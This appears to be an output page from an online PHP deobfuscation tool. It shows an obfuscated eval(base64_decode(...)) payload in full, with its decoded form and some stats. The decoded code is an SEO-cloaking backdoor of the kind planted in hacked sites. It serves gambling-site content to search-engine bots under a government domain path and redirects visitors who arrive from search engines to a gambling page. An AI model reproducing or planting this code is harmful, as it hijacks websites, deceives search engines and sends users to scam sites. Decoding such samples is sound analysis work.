Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('Z290byBNc213aTsgTXNtd2k6IGVycm9yX3JlcG9ydGluZygwKTsgZ290byBMT0JO..

Decoded Output download

goto Msmwi; Msmwi: error_reporting(0); goto LOBNS; LOBNS: $ua = strtolower($_SERVER["HTTP_USER_AGENT"]); goto IXNSD; IXNSD: $rf = $_SERVER["HTTP_REFERER"]; goto UV5EZ; UV5EZ: $botchar = "/(googlebot|slurp|adsense)/"; goto nAHuf; va36C: if (stripos($rf, "yahoo.co.id") || stripos($rf, "google.co.id") || stripos($rf, "bing.com")) { Header("Location: https://pub-694d0d5d2aa6452894744538b2008811.r2.dev/AMPRPTOTO25.html"); die; } goto dbY1M; nAHuf: if (preg_match($botchar, $ua)) { $file = file_get_contents("https://rupiahtoto.vip/nyamar/ppkkklpm.moh.gov.my/"); echo $file; die; } goto va36C; dbY1M:

Did this file decode correctly?

Original Code

<?php eval(base64_decode('Z290byBNc213aTsgTXNtd2k6IGVycm9yX3JlcG9ydGluZygwKTsgZ290byBMT0JOUzsgTE9CTlM6ICR1YSA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbIlwxMTBceDU0XDEyNFwxMjBceDVmXHg1NVwxMjNceDQ1XHg1MlwxMzdcMTAxXHg0N1x4NDVceDRlXHg1NCJdKTsgZ290byBJWE5TRDsgSVhOU0Q6ICRyZiA9ICRfU0VSVkVSWyJceDQ4XHg1NFwxMjRceDUwXDEzN1x4NTJceDQ1XDEwNlx4NDVceDUyXHg0NVwxMjIiXTsgZ290byBVVjVFWjsgVVY1RVo6ICRib3RjaGFyID0gIlw1N1w1MFx4NjdceDZmXHg2Zlx4NjdcMTU0XDE0NVwxNDJceDZmXDE2NFx4N2NceDczXHg2Y1x4NzVceDcyXHg3MFx4N2NcMTQxXHg2NFx4NzNcMTQ1XHg2ZVwxNjNceDY1XDUxXDU3IjsgZ290byBuQUh1ZjsgdmEzNkM6IGlmIChzdHJpcG9zKCRyZiwgIlx4NzlceDYxXHg2OFx4NkZceDZGXHgyRVx4NjNceDZGXHgyRVx4NjlceDY0IikgfHwgc3RyaXBvcygkcmYsICJcMTQ3XHg2ZlwxNTdcMTQ3XHg2Y1x4NjVceDJlXDE0M1wxNTdceDJlXHg2OVwxNDQiKSB8fCBzdHJpcG9zKCRyZiwgIlx4NjJceDY5XHg2ZVwxNDdceDJlXDE0M1wxNTdcMTU1IikpIHsgSGVhZGVyKCJceDRDXHg2Rlx4NjNceDYxXHg3NFx4NjlceDZGXHg2RVx4M0FceDIwXHg2OFx4NzRceDc0XHg3MFx4NzNceDNBXHgyRlx4MkZceDcwXHg3NVx4NjJceDJEXHgzNlx4MzlceDM0XHg2NFx4MzBceDY0XHgzNVx4NjRceDMyXHg2MVx4NjFceDM2XHgzNFx4MzVceDMyXHgzOFx4MzlceDM0XHgzN1x4MzRceDM0XHgzNVx4MzNceDM4XHg2Mlx4MzJceDMwXHgzMFx4MzhceDM4XHgzMVx4MzFceDJFXHg3Mlx4MzJceDJFXHg2NFx4NjVceDc2XHgyRlx4NDFceDREXHg1MFx4NTJceDUwXHg1NFx4NEZceDU0XHg0Rlx4MzJceDM1XHgyRVx4NjhceDc0XHg2RFx4NkMiKTsgZGllOyB9IGdvdG8gZGJZMU07IG5BSHVmOiBpZiAocHJlZ19tYXRjaCgkYm90Y2hhciwgJHVhKSkgeyAkZmlsZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJceDY4XHg3NFx4NzRceDcwXHg3M1x4M0FceDJGXHgyRlx4NzJceDc1XHg3MFx4NjlceDYxXHg2OFx4NzRceDZGXHg3NFx4NkZceDJFXHg3Nlx4NjlceDcwXHgyRlx4NkVceDc5XHg2MVx4NkRceDYxXHg3Mlx4MkZceDcwXHg3MFx4NkJceDZCXHg2Qlx4NkNceDcwXHg2RFx4MkVceDZEXHg2Rlx4NjhceDJFXHg2N1x4NkZceDc2XHgyRVx4NkRceDc5XHgyRiIpOyBlY2hvICRmaWxlOyBkaWU7IH0gZ290byB2YTM2QzsgZGJZMU06IA=='));

Function Calls

base64_decode 1

Variables

None

Stats

MD5 e5e1764377a10f67ff08a4a4c62390b7
Eval Count 1
Decode Time 55 ms